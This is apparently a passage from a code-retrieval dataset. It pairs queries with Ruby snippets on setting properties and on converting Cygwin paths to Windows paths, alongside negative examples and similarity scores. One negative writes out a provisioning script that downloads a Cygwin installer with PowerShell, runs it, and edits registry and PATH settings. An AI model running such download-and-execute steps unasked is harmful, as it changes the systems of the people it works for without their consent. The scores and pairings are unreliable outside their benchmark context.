"def set_custom_property(name, value, type = nil)\n # Valid types.\n valid_type = {\n 'text' => 1,\n 'date' => 1,\n 'number' => 1,\n 'number_int' => 1,\n 'bool' => 1\n }\n\n raise \"The name and value parameters must be defined in set_custom_property()\" if !name || (type != 'bool' && !value)\n\n # Determine the type for strings and numbers if it hasn't been specified.\n unless ptrue?(type)\n type = if value =~ /^\\d+$/\n 'number_int'\n elsif value =~\n /^([+-]?)(?=[0-9]|\\.[0-9])[0-9]*(\\.[0-9]*)?([Ee]([+-]?[0-9]+))?$/\n 'number'\n else\n 'text'\n end\n end\n\n # Check for valid validation types.\n raise \"Unknown custom type '$type' in set_custom_property()\" unless valid_type[type]\n\n # Check for strings longer than Excel's limit of 255 chars.\n raise \"Length of text custom value '$value' exceeds Excel's limit of 255 in set_custom_property()\" if type == 'text' && value.length > 255\n\n if type == 'bool'\n value = value ? 1 : 0\n end\n\n @custom_properties << [name, value, type]\n end",
"def property(name, options = {})\n set_default_options(name, options)\n super(name, options)\n end",
"def add_property_parameter(prop_name)\n if self.class.validproperty?(prop_name) && !@parameters[prop_name]\n self.newattr(prop_name)\n return true\n end\n false\n end",
"def configured_name_key(name)\n is_property_tag = MetaTags.config.property_tags.any? do |tag_name|\n name.to_s.match(/^#{Regexp.escape(tag_name.to_s)}\\b/)\n end\n is_property_tag ? :property : :name\n end",
"def add_preference(name, value)\n @options[:prefs][name] = value\n end",
"def property(name, verify = true)\n name = name.to_str\n if @properties[name]\n p = @properties[name]\n p.tracked = true\n p\n else\n raise NotFound, \"no property named '#{name}' on log task '#{self.name}'\"\n end\n end",
"def bindProperty(propName, propRef = propName)\n prop = OmfEc::Property.new(propName, propRef, nil, true)\n @properties += [prop]\n end",
"def method_missing(name)\n if @properties.key? name\n @properties[name]\n else\n super\n end\n end",
"def add_property(property, options={})\n return send_message(SkyDB::Message::AddProperty.new(property, options))\n end",
"def config(name, &block)\n config = ConfigVariable.new(name)\n if block\n config.instance_eval(&block)\n end\n variables[name] = config\n end",
"def property(property_name, options = T.unsafe(nil)); end",
"def property(property_name, options = T.unsafe(nil)); end",
"def add_property_methods\n UserConfiguration::USER_PROPERTIES.each do |property|\n define_singleton_method(property.name) do\n environment_value = property.map_string(property.environment_names.map{|key| ENV[key]}.compact.first) if property.read_from_environment?\n environment_value.nil? ? fetch(property.name, property.default_value) : environment_value\n end\n end\n end",
"def create_property( propname, value )\n params = { 'prop' => propname, 'value' => value }\n resp = conn.post( '/users/'+name+'/props/', params )\n \n case resp.code.to_i\n when 201\n return\n when 404\n raise RestAuthUserNotFound.new( resp )\n when 409\n raise RestAuthPropertyExists.new( resp )\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"def set_property(property_name, property_value, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n Djinn.log_info(\"Attempting to set @#{property_name} to #{property_value}\")\n\n name_with_at_sign = \"@#{property_name}\"\n begin\n instance_variable_set(name_with_at_sign, property_value)\n rescue NameError\n Djinn.log_info(\"Failed to set @#{property_name}\")\n return KEY_NOT_FOUND\n end\n\n Djinn.log_info(\"Successfully set @#{property_name} to #{property_value}\")\n return 'OK'\n end",
"def make_property(property, method)\n define_method(method) do\n self[property]\n end\n end",
"def dsl_property(*symbols)\n symbols.each { |sym|\n class_eval %{\n def #{sym}(*val)\n if val.empty?\n @#{sym}\n else\n oldvalue = @#{sym}\n tmp = val.size == 1 ? val[0] : val\n newvalue = tmp\n if @_object_created.nil?\n @#{sym} = tmp\n end\n return(self) if @_object_created.nil?\n\n if oldvalue != newvalue\n # trying to reduce calls to fire, when object is being created\n begin\n fire_property_change(\"#{sym}\", oldvalue, newvalue) if !oldvalue.nil?\n @#{sym} = tmp\n @config[\"#{sym}\"]=@#{sym}\n rescue PropertyVetoException\n $log.warn \"PropertyVetoException for #{sym}:\" + oldvalue.to_s + \"-> \"+ newvalue.to_s\n end\n end # if old\n self\n end # if val\n end # def\n #attr_writer sym\n def #{sym}=val\n #{sym}(val)\n end\n }\n }\n end",
"def method_missing(name, *args, &block)\n notify(name, args) if name.to_s.end_with?(\"=\")\n\n return config.send(name, *args, &block) if config.respond_to? name\n\n super\n end",
"def define(name)\n current << name\n end",
"def register_setting(key, default_value)\n self.class.validate_value(default_value)\n\n @defaults[key] = default_value\n\n # update cache\n @settings[key] = @records[key] || default_value\n end",
"def add_subconfig(config_name)\n define_config_methods(config_name)\n self.send(\"#{config_name}=\", RubyConfig.new)\n end",
"def set_property property_name, property_value\n \n begin\n \n if @filename == \"\"\n raise \"Base file not specified.\"\n end\n \n if property_name == \"\"\n raise \"Property name not specified.\"\n end\n \n if property_value == \"\"\n raise \"Property value not specified.\"\n end\n \n post_hash = { \"Value\" => property_value}\n json_data = post_hash.to_json \n \n str_uri = $productURI + \"/words/\" + @filename + \"/documentProperties/\" + property_name\n signed_str_uri = Common::Utils.sign(str_uri)\n \n response_stream = RestClient.put(signed_str_uri,json_data,{:accept=>\"application/json\"})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash[\"Code\"] == 200)\n return stream_hash[\"DocumentProperty\"]\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"def _ name, opts = nil\n @__props ||= YAML::Omap[]\n @__props[name] = opts\n attr_accessor name unless method_defined? \"#{ name }=\"\n end",
"def method_missing(name, *args, &block)\n if @config.has_key? name.to_s\n @config[name.to_s]\n elsif name.to_s[-1] == '=' && @config.has_key?(name.to_s[0..-2])\n var = name.to_s[0..-2]\n @config[var] = args[0]\n elsif @topology.respond_to? name\n @topology.send name, *args, &block\n else\n super\n end\n end"
] | [
"0.6922837",
"0.6874012",
"0.61953694",
"0.6061913",
"0.6009421",
"0.5909298",
"0.5906379",
"0.59018177",
"0.58869696",
"0.58383566",
"0.5783642",
"0.5728513",
"0.57229763",
"0.57152",
"0.5654162",
"0.56460726",
"0.56389827",
"0.5637876",
"0.561328",
"0.5606757",
"0.55813926",
"0.55637485",
"0.5540555",
"0.55160767",
"0.5508113",
"0.54721457",
"0.5471497",
"0.5449758",
"0.5432247",
"0.54179007",
"0.54012483",
"0.5357646",
"0.5354631",
"0.53537345",
"0.53443825",
"0.53388864",
"0.530752",
"0.5282567",
"0.5273058",
"0.5264839",
"0.52502733",
"0.5250098",
"0.5250098",
"0.52419746",
"0.5240475",
"0.5234409",
"0.52095234",
"0.5194086",
"0.51858705",
"0.51726216",
"0.51596427",
"0.5155371",
"0.51494074",
"0.51452243",
"0.5134917",
"0.51296806",
"0.51216024",
"0.51104015",
"0.50921667",
"0.5066268",
"0.50357974",
"0.50310814",
"0.5027632",
"0.5018549",
"0.5018288",
"0.5004701",
"0.5002544",
"0.4994059",
"0.4992007",
"0.49739656",
"0.49656314",
"0.49652168",
"0.4965204",
"0.4965204",
"0.4961622",
"0.49597847",
"0.4954712",
"0.49503377",
"0.49452105",
"0.4943811",
"0.4935339",
"0.49239916",
"0.49202493",
"0.49183756",
"0.49152598",
"0.49130687",
"0.49000138",
"0.49000138",
"0.48980346",
"0.48887324",
"0.48833135",
"0.48796776",
"0.48682222",
"0.4865204",
"0.48584569",
"0.48559797",
"0.48532602",
"0.48505676",
"0.4841272",
"0.4834757"
] | 0.5761557 | 11 |
Converts a Cygwin Unix path to a Windows path, e.g.: /cygdrive/d/path/to/file ==> D:/path/to/file | def cygwin_path(path)
if RUBY_PLATFORM.include?('cygwin') && path.index('/') == 0
IO.popen("cygpath -m #{path.include?(':') ? '-p' : ''} #{path.shellescape}").readline.chomp.gsub(/;/, '\\;')
else
path
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def makeWindowsPathIntoMinGWPath(path)\n modifiedPath = path.gsub(/\\\\/, '/')\n modifiedPath.gsub(/^(\\w+):[\\\\\\/]/) { \"/#{$1.downcase}/\" }\nend",
"def windows_path(path)\n path.gsub(/\\//, '\\\\')\n end",
"def to_windows_path(path)\n path.gsub('/', \"\\\\\")\n end",
"def makeWindowsPathIntoMinGWPath(path)\n modified_path = path.tr('\\\\', '/')\n modified_path.gsub(%r{^(\\w+):[\\\\/]}) { \"/#{Regexp.last_match(1).downcase}/\" }\nend",
"def GetWindowsPath(path)\n return path.gsub(\"/\", \"\\\\\")\n end",
"def win_friendly_path(path)\n path&.gsub(::File::SEPARATOR, ::File::ALT_SEPARATOR || '\\\\')\n end",
"def win_friendly_path(path)\n path&.gsub(::File::SEPARATOR, ::File::ALT_SEPARATOR || '\\\\')\n end",
"def win_friendly_path(path)\n path.gsub(::File::SEPARATOR, ::File::ALT_SEPARATOR || '\\\\') if path\n end",
"def windows_safe_path(*pieces)\n path = File.join(*pieces)\n\n if File::ALT_SEPARATOR\n path.gsub(File::SEPARATOR, File::ALT_SEPARATOR)\n else\n path\n end\n end",
"def windows_safe_path!(path)\n path.gsub!(File::SEPARATOR, File::ALT_SEPARATOR) if File::ALT_SEPARATOR\n end",
"def canonical_path(path)\n if Gem.win_platform?\n raise PDK::CLI::FatalError, format(\"Cannot resolve a full path to '%{path}', as it does not currently exist.\", path: path) unless PDK::Util::Filesystem.exist?(path)\n\n PDK::Util::Windows::File.get_long_pathname(path)\n else\n PDK::Util::Filesystem.expand_path(path)\n end\n end",
"def win_slashify(path)\n path.gsub(File::SEPARATOR, (File::ALT_SEPARATOR || '\\\\'))\n end",
"def windows_path(path)\n path = path.to_path if path.respond_to? :to_path\n fs_object.GetAbsolutePathName(path.to_str)\n end",
"def canonical_path(path)\n if Gem.win_platform?\n unless File.exist?(path)\n raise PDK::CLI::FatalError, _(\"Cannot resolve a full path to '%{path}' as it does not currently exist\") % { path: path }\n end\n Puppet::Util::Windows::File.get_long_pathname(path)\n else\n File.expand_path(path)\n end\n end",
"def platform_specific_path(path)\n if RUBY_PLATFORM =~ /mswin|mingw|windows/\n system_drive = ENV['SYSTEMDRIVE'] ? ENV['SYSTEMDRIVE'] : \"\"\n path = win_slashify File.join(system_drive, path.split('/')[2..-1])\n end\n\n path\n end",
"def win_friendly_path(path)\n path.gsub(::File::SEPARATOR, '\\\\\\\\\\\\\\\\') if path\n path.gsub(::File::ALT_SEPARATOR, '\\\\\\\\\\\\\\\\') if path\n # NOTE: regex(\"\\\\\\\\\") is intepreted as regex(\"\\\\\" [escaped backslash] followed by \"\\\\\" [escaped backslash])\n # is intepreted as regex(\\\\)\n # is interpreted as a regex that matches a single literal backslash. --- Ruifeng Ma, May-18-2016\n end",
"def win_friendly_path(path)\n if path\n new_path = path.gsub('/', '\\\\')\n new_path = \"c:#{new_path}\" if new_path =~ /^\\\\/\n end\n new_path\n end",
"def win_friendly_path(path)\n path.gsub(::File::SEPARATOR, '\\\\\\\\\\\\\\\\') if path\n # NOTE: regex(\"\\\\\\\\\") is intepreted as regex(\"\\\\\" [escaped backslash] followed by \"\\\\\" [escaped backslash])\n # is intepreted as regex(\\\\)\n # is interpreted as a regex that matches a single literal backslash. --- Ruifeng Ma, May-18-2016\nend",
"def toUnix(path)\n PathWrapper.new(path)\n end",
"def adjust_rsync_path(path)\n path.gsub(/^(\\w):/) { \"/cygdrive/#{$1}\" }\n end",
"def strip_windows_drive(path = T.unsafe(nil)); end",
"def unify_path(s)\r\n p = s.frozen? ? s.dup : s\r\n p.gsub!( /\\\\/, '/' )\r\n p = \"#{$1.upcase}/#{$POSTMATCH}\" if p =~ REGEX_DISK\r\n if RUBY_PLATFORM =~ REGEX_CYGWIN\r\n\tif p =~ REGEX_CYGDRIVE\r\n\t p = \"/cygdrive/#{$1.upcase}/#{$POSTMATCH}\" \r\n\telse\r\n\t p.sub!( REGEX_DISK2, '/cygdrive/\\1/' ) if @name == 'PATH'\r\n\tend\r\n end\r\n return p\r\n end",
"def windows_safe_path_join(*args)\n ::File.join(args).gsub(::File::SEPARATOR, ::File::ALT_SEPARATOR || File::SEPARATOR)\nend",
"def dos_path(source_path, drive_letter = \"C\")\n path = \"\"\n return source_path if source_path.include?(\":\\\\\")\n path_array = source_path.split(\"/\")\n if path_array[1].length == 1 # drive letter\n path = \"#{path_array[1]}:\\\\\"\n path += path_array[2..-1].join(\"\\\\\")\n else\n path = \"#{drive_letter}:\\\\\"\n path += path_array[1..-1].join(\"\\\\\")\n end\n path\n end",
"def host_local_url(host, path)\n if host.is_cygwin?\n path_result = on(host, \"cygpath #{path}\")\n path = path_result.raw_output.chomp\n end\n \"file://#{path}\"\nend",
"def getMINGWPWDPath()\n makeWindowsPathIntoMinGWPath Dir.pwd\nend",
"def psub(path)\n if include_win?\n path.gsub(\"/\", \"\\\\\")\n else\n path.gsub(\"\\\\\", \"/\")\n end\nend",
"def getMINGWPWDPath\n makeWindowsPathIntoMinGWPath Dir.pwd\nend",
"def escape_path(path)\n\t\t# EXPERIMENTAL Help me to test this on windows\n\t\tif RUBY_PLATFORM =~ /(win|w)32$/\n\t\t\treturn path.gsub(\"\\\\\", \"!\")\n\t\telse\n\t\t\treturn path.gsub(\"/\", \"!\")\n\t\tend\n\tend",
"def pathname(path)\n path = path.tr(\"/\", \"\\\\\") if windows?\n Pathname.new(path)\n end",
"def proper_file_uri(file)\n p(\"-- setting up proper file uri for file: [ #{file} ]\")\n case RUBY_PLATFORM\n when /cygwin/, /mswin32/, /i386-mingw32/\n new_path = file.gsub(/C:/,'')\n p(\"-- new_path (windows only) = #{new_path}\")\n return \"file://\" + new_path\n else\n return \"file://\" + file\n end\n end",
"def join_path(*path)\n windows? ? win_friendly_path(::File.join(path)) : ::File.join(path)\n end",
"def locate_sysnative_cmd(cmd)\n if ::File.exist?(\"#{ENV['WINDIR']}\\\\sysnative\\\\#{cmd}\")\n \"#{ENV['WINDIR']}\\\\sysnative\\\\#{cmd}\"\n elsif ::File.exist?(\"#{ENV['WINDIR']}\\\\system32\\\\#{cmd}\")\n \"#{ENV['WINDIR']}\\\\system32\\\\#{cmd}\"\n else\n cmd\n end\nend",
"def posixify path\n if path\n @file_separator == BACKSLASH && (path.include? BACKSLASH) ? (path.tr BACKSLASH, SLASH) : path\n else\n ''\n end\n end",
"def drive_upcase(path)\n if Chef::Platform.windows? && path[0] =~ /^[A-Za-z]$/ && path[1, 2] == \":\\\\\"\n path.capitalize\n else\n path\n end\n end",
"def bash_on_windows?; end",
"def uniPath(source)\n source.gsub(/\\\\/, File::SEPARATOR)\nend",
"def convert_slashes(path)\n path.gsub('/', '\\\\').gsub('\\\\', '\\\\\\\\\\\\\\\\') #eek\n end",
"def expand_path(file_name, dir_string = '/')\n expanded = File.expand_path(file_name, dir_string)\n if RUBY_PLATFORM.match?(/(:?mswin|mingw)/) # only if the platform is Windows\n expanded = expanded[2..-1] # remove the drive letter ('D:')\n end\n expanded\n end",
"def windows?\n ::File::ALT_SEPARATOR == '\\\\'\n end",
"def clean_path(path)\n\t\t\tif @posix_support\n\t\t\t\treturn path\n\t\t\telse\n\t\t\t\treturn path.gsub(/\\//,'\\\\')\n\t\t\tend\n\t\tend",
"def magick_bin_name(name)\n if !(/mingw/ =~ RUBY_PLATFORM).nil?\n \"C:/src/cygwin/bin/#{name}.exe\"\n else\n name\n end\n end",
"def read_path\n to_windows_path($stdin.readline.chomp.strip)\n end",
"def escape_shell(str)\n case RUBY_PLATFORM\n when /mswin32|bccwin32/\n escape_shell_windows(str)\n else\n escape_shell_unix(str)\n end\n end",
"def escape_shell_unix(str)\n str = str.to_s\n raise 'cannot escape control characters' if UNESCAPABLE_CHARS =~ str\n str.gsub(UNSAFE_CHARS_UNIX) { |x| \"\\\\#{x}\" }\n end",
"def quote_if_windows(p)\n if RUBY_PLATFORM =~ /mswin32/\n '\"' + p + '\"'\n else\n p\n end\nend",
"def pretty_path(path, native_fs_flag = false)\n return native_fs_flag ? path.gsub(\"/\", \"\\\\\") : path.gsub(\"\\\\\", \"/\")\n end",
"def packages_cygwin(version)\n setup_exe = \"setup-#{version}.exe\"\n\n return <<-EOF\n mkdir -p /cygdrive/c/cygwin\n # Download setup.exe\n powershell -Command '(New-Object System.Net.WebClient).DownloadFile(\"https://www.cygwin.com/#{setup_exe}\",\"C:\\\\cygwin\\\\#{setup_exe}\")'\n\n # Create a .bat file performing the installation\n echo '\n REM --- Change to use different CygWin platform and final install path\n set CYGSETUP=#{setup_exe}\n REM --- Install build version of CygWin in a subfolder\n set OURPATH=%cd%\n set CYGBUILD=\"C:\\\\cygwin\\\\CygWin\"\n set CYGMIRROR=http://mirrors.kernel.org/sourceware/cygwin/\n set BASEPKGS=openssh,rsync\n set BUILDPKGS=p7zip\n REM set BUILDPKGS=python3,python3-setuptools,python-devel,binutils,gcc-core\n %CYGSETUP% -q -B -o -n -R %CYGBUILD% -L -D -s %CYGMIRROR% -P %BASEPKGS%,%BUILDPKGS%\n cd /d C:\\\\cygwin\\\\CygWin\\\\bin\n regtool set /HKLM/SYSTEM/CurrentControlSet/Services/OpenSSHd/ImagePath \"C:\\\\cygwin\\\\CygWin\\\\bin\\\\cygrunsrv.exe\"\n bash -c \"ssh-host-config --no\"\n bash -c \"chown sshd_server /cygdrive/c/cygwin/CygWin/var/empty\"\n ' > /cygdrive/c/cygwin/install.bat\n\n # Prepare and source our profile\n echo \"alias mkdir='mkdir -p'\" > ~/.profile\n echo \"export CYGWIN_ROOT=/cygdrive/c/cygwin/CygWin\" >> ~/.profile\n echo 'export PATH=$CYGWIN_ROOT/bin:$PATH' >> ~/.profile\n\n echo '' > ~/.bash_profile\n\n cmd.exe /c 'setx /m PATH \"C:\\\\cygwin\\\\CygWin\\\\bin;%PATH%\"'\n source ~/.profile\n\n cd /cygdrive/c/cygwin && cmd.exe /c install.bat\n\n echo 'db_home: windows' > $CYGWIN_ROOT/etc/nsswitch.conf\n EOF\nend",
"def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"def to_unix\n gsub(\"\\r\\n\", \"\\n\")\n end",
"def convert_unix_2_dos(file_name)\n\n\ttext = \"\"\t\n\t\n\tputs file_name\n\n\tif !(File.directory? (file_name)) then \n\t\tFile.open(file_name,\"rb\") do |f|\n\t\t\ttext = f.read.gsub(\"\\n\",\"\\r\\n\")\n\t\tend\n\n\t\tFile.open(file_name,\"wb\") do |f|\n\t\t\tf.write(text)\n\t\tend\n\tend\nend",
"def rsync_path_escape( path )\n if (@os == :mac)\n # '\"' + path + '\"'\n path\n else\n # Adapt to other OSs if necessary\n # '\"' + path + '\"'\n path\n end\n end",
"def escape_shell_windows(str)\n str = str.to_s\n raise 'cannot escape control characters' if UNESCAPABLE_CHARS =~ str\n if QUOTE_CHARS_WINDOWS =~ str then\n '\"' + str.gsub(/\\\"/, '\"\"') + '\"'\n else\n String.new(str)\n end\n end",
"def on_windows?\n # Ruby only sets File::ALT_SEPARATOR on Windows and the Ruby standard\n # library uses that to test what platform it's on.\n !!File::ALT_SEPARATOR\n end",
"def findFullPathToCom(com)\n path = nil ;\n open(\"| which #{com}\",\"r\"){|strm|\n path = strm.gets ;\n path.chomp! if(path) ;\n }\n end",
"def expand_path path\n dir = File.dirname path\n full_dir = call \"cd #{dir} && pwd\"\n File.join full_dir, File.basename(path)\n end",
"def isWindows()\r\n # See: http://stackoverflow.com/questions/4871309\r\n require 'rbconfig'\r\n return (RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/)\r\nend",
"def windows_nix?\n (/cygwin|mingw|bccwin/ =~ ruby_platform) != nil\n end",
"def win32_system_dir #:nodoc:\n win32_shared_path = ENV[\"HOME\"]\n if win32_shared_path.nil? && ENV[\"HOMEDRIVE\"] && ENV[\"HOMEPATH\"]\n win32_shared_path = ENV[\"HOMEDRIVE\"] + ENV[\"HOMEPATH\"]\n end\n\n win32_shared_path ||= ENV[\"APPDATA\"]\n win32_shared_path ||= ENV[\"USERPROFILE\"]\n raise Win32HomeError,\n \"Unable to determine home path environment variable.\" if\n win32_shared_path.nil? or win32_shared_path.empty?\n normalize(File.join(win32_shared_path, \"Rake\"))\n end",
"def file_uri_from_path(path)\n path = path.to_s if path.is_a?(Pathname)\n path = path.tr('\\\\', '/') if windows?\n path = URI::DEFAULT_PARSER.escape(path)\n return path.start_with?('/') ? \"file://\" + path : path unless windows?\n return \"file:///\" + path.tr(\"\\\\\", \"/\") if path =~ %r{^[a-zA-Z]:[/\\\\]}\n return \"file:\" + path.tr(\"\\\\\", \"/\") if path =~ %r{\\\\\\\\[^\\\\]+\\\\[^\\\\/]+}\n path.tr(\"\\\\\", \"/\")\n end",
"def realpath(path)\n path = Pathname.new(path) unless path.is_a?(Pathname)\n\n # Explicitly DON'T run #pathname here. We don't want to convert\n # to Windows directory separators because we're comparing these\n # against the paths returned by Listen, which use forward\n # slashes everywhere.\n begin\n path.realpath\n rescue SystemCallError\n # If [path] doesn't actually exist, don't bail, just\n # return the original.\n path\n end\n end",
"def normalize(path)\n path.gsub(/\\\\/, \"/\")\n end",
"def ruby_path_escape( path )\n if (@os == :mac)\n '\"' + path + '\"'\n else\n # Adapt to other OSs if necessary\n '\"' + path + '\"'\n end\n end",
"def dir_name(name)\n name = name.dup\n name.gsub!(\":\", VAGRANT_COLON) if Util::Platform.windows?\n name.gsub!(\"/\", VAGRANT_SLASH)\n name\n end",
"def fix_drive_letter path\r\n return path unless path.match(/^[a-z]:/)\r\n path[0].upcase + path[1..-1]\r\n end",
"def expand_path( path )\n File.expand_path( path.gsub( /^\\/+/, '' ), self.link.path.gsub( /\\/*$/, '/' ) ).gsub( /^C:/, '')\n end",
"def fix_path(path)\n path_parts = path.split('/')\n return path_parts.join(File::SEPARATOR)\n end",
"def fix_path(path)\n path_parts = path.split('/')\n return path_parts.join(File::SEPARATOR)\n end",
"def fix_drive_letter(path); end",
"def normalize_path(p) # NOTE BOOTSTRAP: was action::base::escape_windows_path\n p.tr(\"\\\\\", \"/\")\n end",
"def to_rubyPath\r\n gsub(File::ALT_SEPARATOR || File::SEPARATOR, File::SEPARATOR)\r\n end",
"def test_to_bash_equals_to_s_for_pathnames_without_user_home\n path = Pathname.new( '/usr/local/bin' )\n assert_equal( path.to_s, path.to_bash )\n end",
"def unix?\n !windows?\n end",
"def FormatPath(path)\n if(!path || path == \"\" || path == \".\")\n return nil\n end\n #puts \"Formatting path #{path}\"\n return path.gsub(/\\\\/, \"/\") # replace accidential double backslashes\n .gsub(/\\/\\//, \"/\") # replace accidential double slashes\n .gsub(/\\/\\.\\//, \"/\") # replace local folder overhead, e.g. my/path/./to/my/file\n .gsub(/^\\.\\//, \"\"); # replace local folder at start of path\n end",
"def expand_file_path(a_path_string)\n if a_path_string.start_with? '~'\n a_path_string = \"${HOME}\" + a_path_string[1, a_path_string.size-1]\n end\n\n a_path_string = `echo \"#{a_path_string}\"`.chomp\n\n return a_path_string\nend",
"def join_path(*path)\n win_friendly_path(::File.join(path))\n end",
"def join_path(*path)\n win_friendly_path(::File.join(path))\n end",
"def fix_drive_letter path\n return path unless path.match(/^[a-z]:/)\n path[0].upcase + path[1..-1]\n end",
"def tildize (path)\n\tpath.gsub(`echo $HOME`.chomp, \"~\")\nend",
"def expand_path(path)\n path = path.to_s.gsub(/~(\\w+)?/) { |m| homedir($1) }\n File.expand_path(path, cwd.to_s)\n end",
"def path_to_safe_filename(path)\n path = '/' if path == ''\n normalize_path(path).gsub('/', '?').gsub(/[ :]/, '_')\n end",
"def scp_path(path)\n if self[:platform].include?('cisco_nexus')\n @home_dir ||= execute('pwd')\n answer = \"#{@home_dir}/#{File.basename(path)}\"\n answer << '/' if /\\/$/.match?(path)\n return answer\n end\n path\n end",
"def expand_path file\n return File.expand_path(file) if file.start_with?(\"~/\")\n return file if file[0] == '/'\n\n return File.join(@current_dir, file)\nend",
"def join_path(path)\n if path.include?('\\\\') && path.include?('/')\n path.gsub('\\\\', '/')\n else\n path\n end\n end",
"def is_mingw?\n @path =~ /mingw/ # Kludge\n end",
"def escape_path(path)\n # Strip anchors incase input is in a url form (as per guide)\n path = strip_anchors(path)\n filename = File.basename(path)\n folder = File.dirname(path)\n # avoid turning style.css into ./style.css\n if folder == \".\"\n URI.escape(unescape_path(filename))\n else\n File.join folder, URI.escape(unescape_path(filename))\n end\n end",
"def unix2dos(string)\n string.gsub(\"\\r\", \"\").gsub(\"\\n\", \"\\r\\n\")\n end",
"def windDir \n \"windDir\" \n end",
"def expand_guest_path(destination)\n if machine.guest.capability?(:shell_expand_guest_path)\n machine.guest.capability(:shell_expand_guest_path, destination)\n else\n destination.to_s.gsub('/', \"\\\\\")\n end\n end",
"def is_windows?\n win_patterns = [\n /bccwin/i,\n /cygwin/i,\n /djgpp/i,\n /mingw/i,\n /mswin/i,\n /wince/i\n ]\n\n case RUBY_PLATFORM\n when *win_patterns\n return true\n else\n return false\n end\nend",
"def smart_slash(input)\n if !(input =~ /\\.\\w+$/)\n input = File.join(input, '/')\n end\n input\n end",
"def join(basedir, dir)\n return \"#{basedir}#{dir[2..-1]}\" if windows? && !basedir.empty? && (dir.length > 2)\n\n \"#{basedir}#{dir}\"\n end",
"def windows_platform?\n case RUBY_PLATFORM\n when /cygwin|mswin|mingw|bccwin|wince|emx/\n true\n else\n false\n end\n end",
"def make_fat32_compliant(filepath)\n extname = File.extname(filepath)\n basename = File.basename(filepath, extname)\n dirname = File.dirname(filepath)\n path_without_ext = File.join(dirname, basename)\n\n split = path_without_ext.split(\"/\")\n new_split = []\n split.map do |part|\n new_split << part.gsub(/([\\?\\*\\|:;\"“”<>])/, \"\").strip.gsub(/ {2,}/,\" \").gsub('’', \"'\")\n end\n return new_split.join(\"/\")+extname\n end",
"def shell_path\n value = shell_name.to_s\n\n if value.match(/^\\//)\n # Absolute path already provided (starts with \"/\")\n value.p\n else\n # Shell name provided, use \"which\" to find the executable\n which(value).p\n end\n end",
"def windows?\n\tRbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\nend",
"def sanitizeForPath(str)\n # Code from (modified) http://gavinmiller.io/2016/creating-a-secure-sanitization-function/\n # Bad as defined by wikipedia:\n # https://en.wikipedia.org/wiki/Filename#Reserved_characters_and_words\n badChars = [ '/', '\\\\', '?', '%', '*', ':', '|', '\"', '<', '>', '.', ' ' ]\n badChars.each do |c|\n str.gsub!(c, '_')\n end\n str\nend",
"def prefix\n (platform_family?('windows') ? 'C:/Chef/' : '/etc/chef/')\nend",
"def normalized_path(file); end"
] | [
"0.7466854",
"0.74545604",
"0.7454556",
"0.7245687",
"0.70774406",
"0.68850356",
"0.68850356",
"0.6841165",
"0.6809859",
"0.67986107",
"0.67639595",
"0.6714192",
"0.66852015",
"0.6679233",
"0.667161",
"0.6664879",
"0.6618574",
"0.656552",
"0.6312081",
"0.62101406",
"0.62087566",
"0.6198497",
"0.61604625",
"0.6010977",
"0.5994563",
"0.596585",
"0.58874506",
"0.58784235",
"0.5878206",
"0.58581406",
"0.5840949",
"0.5788289",
"0.5784762",
"0.5759692",
"0.57581",
"0.57209253",
"0.5658076",
"0.56408596",
"0.56063527",
"0.55538917",
"0.5462598",
"0.54423404",
"0.53578544",
"0.53397363",
"0.53138375",
"0.52904314",
"0.5246287",
"0.52407175",
"0.5233682",
"0.5233682",
"0.52257246",
"0.52192104",
"0.52093214",
"0.5201275",
"0.5187371",
"0.5180615",
"0.5146437",
"0.5140172",
"0.51259154",
"0.5085671",
"0.50784504",
"0.50754464",
"0.5058617",
"0.5041878",
"0.5034471",
"0.5021596",
"0.50180465",
"0.50157255",
"0.50157255",
"0.49940237",
"0.4976959",
"0.49581057",
"0.49513865",
"0.49278727",
"0.49202463",
"0.49100915",
"0.49001998",
"0.49001998",
"0.48679245",
"0.48478568",
"0.4835189",
"0.48295355",
"0.48266682",
"0.48195356",
"0.48058918",
"0.4778111",
"0.47755066",
"0.47703198",
"0.475423",
"0.4741315",
"0.4734034",
"0.4715492",
"0.47021696",
"0.47008014",
"0.4699183",
"0.4695724",
"0.4688271",
"0.46839648",
"0.468294",
"0.4681634"
] | 0.8176252 | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.